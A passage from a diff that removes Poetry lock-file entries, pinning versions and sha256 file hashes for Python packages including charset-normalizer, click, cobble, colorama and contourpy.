"sha256:e1cf59446890a00105fe7b7912492ea04b6e6f06d4b742b2c788469e34c82970"}, - {file = "chardet-5.2.0.tar.gz", hash = "sha256:1b3b6ff479a8c414bc3fa2c0852995695c4a026dcd6d0633b2dd092ca39c1cf7"}, -] - -[[package]] -name = "charset-normalizer" -version = "3.4.3" -description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "charset_normalizer-3.4.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:fb7f67a1bfa6e40b438170ebdc8158b78dc465a5a67b6dde178a46987b244a72"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc9370a2da1ac13f0153780040f465839e6cccb4a1e44810124b4e22483c93fe"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:07a0eae9e2787b586e129fdcbe1af6997f8d0e5abaa0bc98c0e20e124d67e601"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:74d77e25adda8581ffc1c720f1c81ca082921329452eba58b16233ab1842141c"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d0e909868420b7049dafd3a31d45125b31143eec59235311fc4c57ea26a4acd2"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c6f162aabe9a91a309510d74eeb6507fab5fff92337a15acbe77753d88d9dcf0"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:4ca4c094de7771a98d7fbd67d9e5dbf1eb73efa4f744a730437d8a3a5cf994f0"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:02425242e96bcf29a49711b0ca9f37e451da7c70562bc10e8ed992a5a7a25cc0"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:78deba4d8f9590fe4dae384aeff04082510a709957e968753ff3c48399f6f92a"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-win32.whl", hash = "sha256:d79c198e27580c8e958906f803e63cddb77653731be08851c7df0b1a14a8fc0f"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-win_amd64.whl", hash = "sha256:c6e490913a46fa054e03699c70019ab869e990270597018cef1d8562132c2669"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b256ee2e749283ef3ddcff51a675ff43798d92d746d1a6e4631bf8c707d22d0b"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:13faeacfe61784e2559e690fc53fa4c5ae97c6fcedb8eb6fb8d0a15b475d2c64"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:00237675befef519d9af72169d8604a067d92755e84fe76492fef5441db05b91"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:585f3b2a80fbd26b048a0be90c5aae8f06605d3c92615911c3a2b03a8a3b796f"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e78314bdc32fa80696f72fa16dc61168fda4d6a0c014e0380f9d02f0e5d8a07"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:96b2b3d1a83ad55310de8c7b4a2d04d9277d5591f40761274856635acc5fcb30"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:939578d9d8fd4299220161fdd76e86c6a251987476f5243e8864a7844476ba14"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:fd10de089bcdcd1be95a2f73dbe6254798ec1bda9f450d5828c96f93e2536b9c"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1e8ac75d72fa3775e0b7cb7e4629cec13b7514d928d15ef8ea06bca03ef01cae"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-win32.whl", hash = "sha256:6cf8fd4c04756b6b60146d98cd8a77d0cdae0e1ca20329da2ac85eed779b6849"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-win_amd64.whl", hash = "sha256:31a9a6f775f9bcd865d88ee350f0ffb0e25936a7f930ca98995c05abf1faf21c"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:e28e334d3ff134e88989d90ba04b47d84382a828c061d0d1027b1b12a62b39b1"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0cacf8f7297b0c4fcb74227692ca46b4a5852f8f4f24b3c766dd94a1075c4884"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c6fd51128a41297f5409deab284fecbe5305ebd7e5a1f959bee1c054622b7018"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cfb2aad70f2c6debfbcb717f23b7eb55febc0bb23dcffc0f076009da10c6392"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1606f4a55c0fd363d754049cdf400175ee96c992b1f8018b993941f221221c5f"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:027b776c26d38b7f15b26a5da1044f376455fb3766df8fc38563b4efbc515154"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:42e5088973e56e31e4fa58eb6bd709e42fc03799c11c42929592889a2e54c491"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:cc34f233c9e71701040d772aa7490318673aa7164a0efe3172b2981218c26d93"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:320e8e66157cc4e247d9ddca8e21f427efc7a04bbd0ac8a9faf56583fa543f9f"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-win32.whl", hash = "sha256:fb6fecfd65564f208cbf0fba07f107fb661bcd1a7c389edbced3f7a493f70e37"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-win_amd64.whl", hash = "sha256:86df271bf921c2ee3818f0522e9a5b8092ca2ad8b065ece5d7d9d0e9f4849bcc"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:14c2a87c65b351109f6abfc424cab3927b3bdece6f706e4d12faaf3d52ee5efe"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:41d1fc408ff5fdfb910200ec0e74abc40387bccb3252f3f27c0676731df2b2c8"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1bb60174149316da1c35fa5233681f7c0f9f514509b8e399ab70fea5f17e45c9"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:30d006f98569de3459c2fc1f2acde170b7b2bd265dc1943e87e1a4efe1b67c31"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:416175faf02e4b0810f1f38bcb54682878a4af94059a1cd63b8747244420801f"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6aab0f181c486f973bc7262a97f5aca3ee7e1437011ef0c2ec04b5a11d16c927"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fdabf8315679312cfa71302f9bd509ded4f2f263fb5b765cf1433b39106c3cc9"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:bd28b817ea8c70215401f657edef3a8aa83c29d447fb0b622c35403780ba11d5"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:18343b2d246dc6761a249ba1fb13f9ee9a2bcd95decc767319506056ea4ad4dc"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-win32.whl", hash = "sha256:6fb70de56f1859a3f71261cbe41005f56a7842cc348d3aeb26237560bfa5e0ce"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-win_amd64.whl", hash = "sha256:cf1ebb7d78e1ad8ec2a8c4732c7be2e736f6e5123a4146c5b89c9d1f585f8cef"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:3cd35b7e8aedeb9e34c41385fda4f73ba609e561faedfae0a9e75e44ac558a15"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b89bc04de1d83006373429975f8ef9e7932534b8cc9ca582e4db7d20d91816db"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2001a39612b241dae17b4687898843f254f8748b796a2e16f1051a17078d991d"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8dcfc373f888e4fb39a7bc57e93e3b845e7f462dacc008d9749568b1c4ece096"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b97b8404387b96cdbd30ad660f6407799126d26a39ca65729162fd810a99aa"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ccf600859c183d70eb47e05a44cd80a4ce77394d1ac0f79dbd2dd90a69a3a049"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:53cd68b185d98dde4ad8990e56a58dea83a4162161b1ea9272e5c9182ce415e0"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:30a96e1e1f865f78b030d65241c1ee850cdf422d869e9028e2fc1d5e4db73b92"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:d716a916938e03231e86e43782ca7878fb602a125a91e7acb8b5112e2e96ac16"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-win32.whl", hash = "sha256:c6dbd0ccdda3a2ba7c2ecd9d77b37f3b5831687d8dc1b6ca5f56a4880cc7b7ce"}, - {file = "charset_normalizer-3.4.3-cp314-cp314-win_amd64.whl", hash = "sha256:73dc19b562516fc9bcf6e5d6e596df0b4eb98d87e4f79f3ae71840e6ed21361c"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:0f2be7e0cf7754b9a30eb01f4295cc3d4358a479843b31f328afd210e2c7598c"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c60e092517a73c632ec38e290eba714e9627abe9d301c8c8a12ec32c314a2a4b"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:252098c8c7a873e17dd696ed98bbe91dbacd571da4b87df3736768efa7a792e4"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3653fad4fe3ed447a596ae8638b437f827234f01a8cd801842e43f3d0a6b281b"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8999f965f922ae054125286faf9f11bc6932184b93011d138925a1773830bbe9"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d95bfb53c211b57198bb91c46dd5a2d8018b3af446583aab40074bf7988401cb"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_ppc64le.whl", hash = "sha256:5b413b0b1bfd94dbf4023ad6945889f374cd24e3f62de58d6bb102c4d9ae534a"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_s390x.whl", hash = "sha256:b5e3b2d152e74e100a9e9573837aba24aab611d39428ded46f4e4022ea7d1942"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:a2d08ac246bb48479170408d6c19f6385fa743e7157d716e144cad849b2dd94b"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-win32.whl", hash = "sha256:ec557499516fc90fd374bf2e32349a2887a876fbf162c160e3c01b6849eaf557"}, - {file = "charset_normalizer-3.4.3-cp38-cp38-win_amd64.whl", hash = "sha256:5d8d01eac18c423815ed4f4a2ec3b439d654e55ee4ad610e153cf02faf67ea40"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:70bfc5f2c318afece2f5838ea5e4c3febada0be750fcf4775641052bbba14d05"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:23b6b24d74478dc833444cbd927c338349d6ae852ba53a0d02a2de1fce45b96e"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:34a7f768e3f985abdb42841e20e17b330ad3aaf4bb7e7aeeb73db2e70f077b99"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:fb731e5deb0c7ef82d698b0f4c5bb724633ee2a489401594c5c88b02e6cb15f7"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:257f26fed7d7ff59921b78244f3cd93ed2af1800ff048c33f624c87475819dd7"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:1ef99f0456d3d46a50945c98de1774da86f8e992ab5c77865ea8b8195341fc19"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:2c322db9c8c89009a990ef07c3bcc9f011a3269bc06782f916cd3d9eed7c9312"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:511729f456829ef86ac41ca78c63a5cb55240ed23b4b737faca0eb1abb1c41bc"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:88ab34806dea0671532d3f82d82b85e8fc23d7b2dd12fa837978dad9bb392a34"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-win32.whl", hash = "sha256:16a8770207946ac75703458e2c743631c79c59c5890c80011d536248f8eaa432"}, - {file = "charset_normalizer-3.4.3-cp39-cp39-win_amd64.whl", hash = "sha256:d22dbedd33326a4a5190dd4fe9e9e693ef12160c77382d9e87919bce54f3d4ca"}, - {file = "charset_normalizer-3.4.3-py3-none-any.whl", hash = "sha256:ce571ab16d890d23b5c278547ba694193a45011ff86a9162a71307ed9f86759a"}, - {file = "charset_normalizer-3.4.3.tar.gz", hash = "sha256:6fce4b8500244f6fcb71465d4a4930d132ba9ab8e71a7859e6a5d59851068d14"}, -] - -[[package]] -name = "click" -version = "8.2.1" -description = "Composable command line interface toolkit" -optional = false -python-versions = ">=3.10" -groups = ["main", "dev"] -files = [ - {file = "click-8.2.1-py3-none-any.whl", hash = "sha256:61a3265b914e850b85317d0b3109c7f8cd35a670f963866005d6ef1d5175a12b"}, - {file = "click-8.2.1.tar.gz", hash = "sha256:27c491cc05d968d271d5a1db13e3b5a184636d9d930f148c50b038f0d0646202"}, -] - -[package.dependencies] -colorama = {version = "*", markers = "platform_system == \"Windows\""} - -[[package]] -name = "cobble" -version = "0.1.4" -description = "Create data objects" -optional = false -python-versions = ">=3.5" -groups = ["main"] -files = [ - {file = "cobble-0.1.4-py3-none-any.whl", hash = "sha256:36c91b1655e599fd428e2b95fdd5f0da1ca2e9f1abb0bc871dec21a0e78a2b44"}, - {file = "cobble-0.1.4.tar.gz", hash = "sha256:de38be1539992c8a06e569630717c485a5f91be2192c461ea2b220607dfa78aa"}, -] - -[[package]] -name = "colorama" -version = "0.4.6" -description = "Cross-platform colored terminal text." -optional = false -python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,!=3.6.*,>=2.7" -groups = ["main", "dev"] -markers = "platform_system == \"Windows\" or sys_platform == \"win32\"" -files = [ - {file = "colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6"}, - {file = "colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44"}, -] - -[[package]] -name = "contourpy" -version = "1.3.3" -description = "Python library for calculating contours of 2D quadrilateral grids" -optional = false -python-versions = ">=3.11" -groups = ["main"] -files = [ - {file = "contourpy-1.3.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:709a48ef9a690e1343202916450bc48b9e51c049b089c7f79a267b46cffcdaa1"}, - {file = "contourpy-1.3.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:23416f38bfd74d5d28ab8429cc4d63fa67d5068bd711a85edb1c3fb0c3e2f381"}, - {file = "contourpy-1.3.3-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:929ddf8c4c7f348e4c0a5a3a714b5c8542ffaa8c22954862a46ca1813b667ee7"}, - {file = "contourpy-1.3.3-cp311-cp311-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9e999574eddae35f1312c2b4b717b7885d4edd6cb46700e04f7f02db454e67c1"}, - {file = "contourpy-1.3.3-cp311-cp311-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf67e0e3f482cb69779dd3061b534eb35ac9b17f163d851e2a547d56dba0a3a"}, - {file = "contourpy-1.3.3-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:51e79c1f7470158e838808d4a996fa9bac72c498e93d8ebe5119bc1e6becb0db"}, - {file = "contourpy-1.3.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:598c3aaece21c503615fd59c92a3598b428b2f01bfb4b8ca9c4edeecc2438620"}, - {file = "contourpy-1.3.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:322ab1c99b008dad206d406bb61d014cf0174df491ae9d9d0fac6a6fda4f977f"}, - {file = "contourpy-1.3.3-cp311-cp311-win32.whl", hash = "sha256:fd907ae12cd483cd83e414b12941c632a969171bf90fc937d0c9f268a31cafff"}, - {file = "contourpy-1.3.3-cp311-cp311-win_amd64.whl", hash = "sha256:3519428f6be58431c56581f1694ba8e50626f2dd550af225f82fb5f5814d2a42"}, - {file = "contourpy-1.3.3-cp311-cp311-win_arm64.whl", hash = "sha256:15ff10bfada4bf92ec8b31c62bf7c1834c244019b4a33095a68000d7075df470"}, - {file = "contourpy-1.3.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:b08a32ea2f8e42cf1d4be3169a98dd4be32bafe4f22b6c4cb4ba810fa9e5d2cb"}, - {file = "contourpy-1.3.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:556dba8fb6f5d8742f2923fe9457dbdd51e1049c4a43fd3986a0b14a1d815fc6"}, - {file = "contourpy-1.3.3-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:92d9abc807cf7d0e047b95ca5d957cf4792fcd04e920ca70d48add15c1a90ea7"}, - {file = "contourpy-1.3.3-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:b2e8faa0ed68cb29af51edd8e24798bb661eac3bd9f65420c1887b6ca89987c8"}, - {file = "contourpy-1.3.3-cp312-cp312-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:626d60935cf668e70a5ce6ff184fd713e9683fb458898e4249b63be9e28286ea"}, - {file = "contourpy-1.3.3-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4d00e655fcef08aba35ec9610536bfe90267d7ab5ba944f7032549c55a146da1"}, - {file = "contourpy-1.3.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:451e71b5a7d597379ef572de31eeb909a87246974d960049a9848c3bc6c41bf7"}, - {file = "contourpy-1.3.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:459c1f020cd59fcfe6650180678a9993932d80d44ccde1fa1868977438f0b411"}, - {file = "contourpy-1.3.3-cp312-cp312-win32.whl", hash = "sha256:023b44101dfe49d7d53932be418477dba359649246075c996866106da069af69"}, - {file = "contourpy-1.3.3-cp312-cp312-win_amd64.whl", hash = "sha256:8153b8bfc11e1e4d75bcb0bff1db232f9e10b274e0929de9d608027e0d34ff8b"}, - {file = "contourpy-1.3.3-cp312-cp312-win_arm64.whl", hash = "sha256:07ce5ed73ecdc4a03ffe3e1b3e3c1166db35ae7584be76f65dbbe28a7791b0cc"}, - {file = "contourpy-1.3.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:177fb367556747a686509d6fef71d221a4b198a3905fe824430e5ea0fda54eb5"}, - {file = "contourpy-1.3.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d002b6f00d73d69333dac9d0b8d5e84d9724ff9ef044fd63c5986e62b7c9e1b1"}, - {file = "contourpy-1.3.3-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:348ac1f5d4f1d66d3322420f01d42e43122f43616e0f194fc1c9f5d830c5b286"}, - {file = "contourpy-1.3.3-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:655456777ff65c2c548b7c454af9c6f33f16c8884f11083244b5819cc214f1b5"}, - {file = "contourpy-1.3.3-cp313-cp313-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:644a6853d15b2512d67881586bd03f462c7ab755db95f16f14d7e238f2852c67"}, - {file = "contourpy-1.3.3-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4debd64f124ca62069f313a9cb86656ff087786016d76927ae2cf37846b006c9"}, - {file = "contourpy-1.3.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a15459b0f4615b00bbd1e91f1b9e19b7e63aea7483d03d804186f278c0af2659"}, - {file = "contourpy-1.3.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ca0fdcd73925568ca027e0b17ab07aad764be4706d0a925b89227e447d9737b7"}, - {file = "contourpy-1.3.3-cp313-cp313-win32.whl", hash = "sha256:b20c7c9a3bf701366556e1b1984ed2d0cedf999903c51311417cf5f591d8c78d"}, - {file = "contourpy-1.3.3-cp313-cp313-win_amd64.whl", hash = "sha256:1cadd8b8969f060ba45ed7c1b714fe69185812ab43bd6b86a9123fe8f99c3263"}, - {file = "contourpy-1.3.3-cp313-cp313-win_arm64.whl", hash = "sha256:fd914713266421b7536de2bfa8181aa8c699432b6763a0ea64195ebe28bff6a9"}, - {file = "contourpy-1.3.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:88df9880d507169449d434c293467418b9f6cbe82edd19284aa0409e7fdb933d"}, - {file = "contourpy-1.3.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:d06bb1f751ba5d417047db62bca3c8fde202b8c11fb50742ab3ab962c81e8216"}, - {file = "contourpy-1.3.3-cp313-cp313t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e4e6b05a45525357e382909a4c1600444e2a45b4795163d3b22669285591c1ae"}, - {file = "contourpy-1.3.3-cp313-cp313t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ab3074b48c4e2cf1a960e6bbeb7f04566bf36b1861d5c9d4d8ac04b82e38ba20"}, - {file = "contourpy-1.3.3-cp313-cp313t-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:6c3d53c796f8647d6deb1abe867daeb66dcc8a97e8455efa729516b997b8ed99"}, - {file = "contourpy-1.3.3-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:50ed930df7289ff2a8d7afeb9603f8289e5704755c7e5c3bbd929c90c817164b"}, - {file = "contourpy-1.3.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4feffb6537d64b84877da813a5c30f1422ea5739566abf0bd18065ac040e120a"}, - {file = "contourpy-1.3.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2b7e9480ffe2b0cd2e787e4df64270e3a0440d9db8dc823312e2c940c167df7e"}, - {file = "contourpy-1.3.3-cp313-cp313t-win32.whl", hash = "sha256:283edd842a01e3dcd435b1c5116798d661378d83d36d337b8dde1d16a5fc9ba3"}, - {file = "contourpy-1.3.3-cp313-cp313t-win_amd64.whl", hash = "sha256:87acf5963fc2b34825e5b6b048f40e3635dd547f590b04d2ab317c2619ef7ae8"}, - {file = "contourpy-1.3.3-cp313-cp313t-win_arm64.whl", hash = "sha256:3c30273eb2a55024ff31ba7d052dde990d7d8e5450f4bbb6e913558b3d6c2301"}, - {file = "contourpy-1.3.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fde6c716d51c04b1c25d0b90364d0be954624a0ee9d60e23e850e8d48353d07a"}, - {file = "contourpy-1.3.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:cbedb772ed74ff5be440fa8eee9bd49f64f6e3fc09436d9c7d8f1c287b121d77"}, - {file = "contourpy-1.3.3-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:22e9b1bd7a9b1d652cd77388465dc358dafcd2e217d35552424aa4f996f524f5"}, - {file = "contourpy-1.3.3-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a22738912262aa3e254e4f3cb079a95a67132fc5a063890e224393596902f5a4"}, - {file = "contourpy-1.3.3-cp314-cp314-manylinux_2_26_s390x.manylinux_2_28_s390x.whl", hash = "sha256:afe5a512f31ee6bd7d0dda52ec9864c984ca3d66664444f2d72e0dc4eb832e36"}, - {file = "contourpy-1.3.3-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f64836de09927cba6f79dcd00fdd7d5329f3fccc633468507079c829ca4db4e3"}, - {file = "contourpy-1.3.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:1fd43c3be4c8e5fd6e4f2baeae35ae18176cf2e5cced681cca908addf1cdd53b"}, - {file = "contourpy-1.3.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:6afc576f7b33cf00996e5c1102dc2a8f7cc89e39c0b55df93a0b78c1bd992b36"}, - {file = "contourpy-1.3.3-cp314-cp314-win32.whl", hash = "sha256:66c8a43a4f7b8df8b71ee1840e4211a3c8d93b214b213f590e18a1beca458f7d"}, - {file = "contourpy-1.3.3-cp314-cp314-win_amd64.whl", hash = "sha256:cf9022ef053f2694e31d630feaacb21ea24224be1c3ad0520b13d844274614fd"}, - {file = "contourpy-1.3.3-cp314-cp314-win_arm64.whl", hash = "sha256:95b181891b4c71de4bb404c6621e7e2390745f887f2a026b2d99e92c17892339"}, - {file = "contourpy-1.3.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:33c82d0138c0a062380332c861387650c82e4cf1747aaa6938b9b6516762e772"}, - {file = "contourpy-1.3.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:ea37e7b45949df430fe649e5de8351c423430046a2af20b1c1961cae3afcda77"}, - {file = "contourpy-1.3.3-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d304906ecc71672e9c89e87c4675dc5c2645e1f4269a5063b99b0bb29f232d13"}, - {file = "contourpy-1.3.3-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = 